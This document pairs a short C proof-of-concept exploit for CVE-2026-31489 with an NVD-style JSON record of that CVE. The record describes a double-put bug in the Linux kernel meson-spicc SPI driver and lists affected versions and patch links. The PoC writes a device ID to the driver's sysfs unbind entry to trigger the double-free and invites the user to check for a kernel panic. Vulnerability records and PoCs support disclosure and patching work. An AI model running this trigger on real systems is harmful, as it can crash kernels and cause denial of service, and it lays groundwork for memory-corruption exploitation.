CVE-2026-31489

/* * PoC Concept for CVE-2026-31489 * Triggering the double-put by unbinding the driver. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <device_id>\n", argv[0]); printf("Example: %s c1108400.spi\n", argv[0]); return 1; } // Path to unbind the specific driver instance char path[256]; snprintf(path, sizeof(path), "/sys/bus/platform/drivers/meson-spicc/unbind"); int fd = open(path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind sysfs entry"); return 1; } printf("[*] Attempting to unbind device: %s\n", argv[1]); // Writing the device ID triggers the remove path if (write(fd, argv[1], strlen(argv[1])) < 0) { perror("[-] Failed to write device ID"); close(fd); return 1; } close(fd); printf("[+] Exploit triggered. Check dmesg for kernel panic or double-free error.\n"); return 0; }

{"cve": {"id": "CVE-2026-31489", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:46.603", "lastModified": "2026-05-17T16:16:15.687", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: meson-spicc: Fix double-put in remove path\n\nmeson_spicc_probe() registers the controller with\ndevm_spi_register_controller(), so teardown already drops the\ncontroller reference via devm cleanup.\n\nCalling spi_controller_put() again in meson_spicc_remove()\ncauses a double-put."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14.244", "versionEndExcluding": "4.15", "matchCriteriaId": "0BB634A6-F36F-476C-94DA-84A3ABF7A170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.203", "versionEndExcluding": "4.20", "matchCriteriaId": "701FECB5-CEA6-4D3E-868E-F70A777945E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.140", "versionEndExcluding": "5.5", "matchCriteriaId": "75CD851C-0372-41B3-9A47-AC6DD48C6AB3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.58", "versionEndExcluding": "5.11", "matchCriteriaId": "A4D3DC93-FB8F-4C90-807D-BD2092747B75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.13.10", "versionEndExcluding": "5.14", "matchCriteriaId": "C09DC193-F9A8-4983-B677-7CE60D711D40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "1077EA71-D36D-44EB-AEF6-7978036231E8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.14:-:*:*:*:*:*:*", "matchCriteriaId": "6A05198E-F8FA-4517-8D0E-8C95066AED38"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0d645c6d13fa0597935d3d16b09a7ba5d24ed284", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/40ad0334c17b23d8b66b1082ad1478a6202e90e2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/63542bb402b7013171c9f621c28b609eda4dbf1f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9b812ceb75a6260c17c91db4b9e74ead8cfa06f5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/da06a104f0486355073ff0d1bcb1fcbebb7080d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}